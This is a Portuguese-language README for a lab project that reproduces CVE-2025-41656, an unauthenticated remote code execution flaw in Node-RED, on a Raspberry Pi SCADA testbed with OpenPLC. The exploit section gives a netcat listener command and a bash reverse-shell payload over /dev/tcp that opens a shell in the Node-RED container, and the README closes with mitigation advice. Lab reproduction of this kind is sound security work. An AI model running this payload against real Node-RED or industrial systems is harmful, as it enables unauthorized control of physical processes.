CVE-2025-41656

Resumo do projeto

Este projeto existe para modelar a CVE-2025-41656, uma vulnerabilidade de execução remota de código não autenticada no NodeRED. Para modelar essa vulnerabilidade, criamos um sistema SCADA de pequeno formato com um Raspberry Pi, um atuador e um sensor. O Raspberry Pi contém um container NodeRED e um OpenPLC que se comunicam entre si via Modbus TCP para controlar o atuador. Este é um script de prova de conceito em Python para executar o ataque da CVE-2025-41656. O objetivo é criar com sucesso um PoC e encontrar correções para proteger o sistema.

Começando

O laboratório incluirá as seguintes peças

• Raspberry Pi 3b+
• Arquivo Docker compose com containers NodeRED e OpenPLC
• Um atuador
• Um sensor
• Um dispositivo motorizado controlado pelo atuador
• Observação: a configuração será diferente dependendo do hardware que você tiver. Ajuste de acordo.

Instalação de software

git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git

Configuração do Docker

rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d

• Verifique se os containers Docker e a bridge de rede estão ativos e em execução

docker container ls
docker network inspect csci587-final-project_scadanet

• Ambos os containers Docker devem estar ativos.
• Certifique-se também de que ambos os containers estão conectados à rede e possuem um endereço IP atribuído.

O exploit

• Na máquina host, execute nc -lvnp 1234
• Altere o NODE_RED_IP e o NODE_RED_PORT para o endereço IP e a porta (1880) do seu serviço NodeRED em cve_2025_41656.py.
• Dentro de cve_2025_41656, altere o endereço IP na linha "command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'", para o endereço IP da máquina a partir da qual você está lançando o exploit.

python3 cve_2025_41656.py

• Agora você deve ter um reverse shell no container NodeRED.

Estratégias de mitigação

• Implemente TLS e um mecanismo de autenticação para o NodeRED.
• Segmente redes SCADA para impedir acesso não autorizado ao NodeRED.
• Monitore redes que contêm NodeRED com sistemas IDS/IPS procurando por tráfego de reverse shell.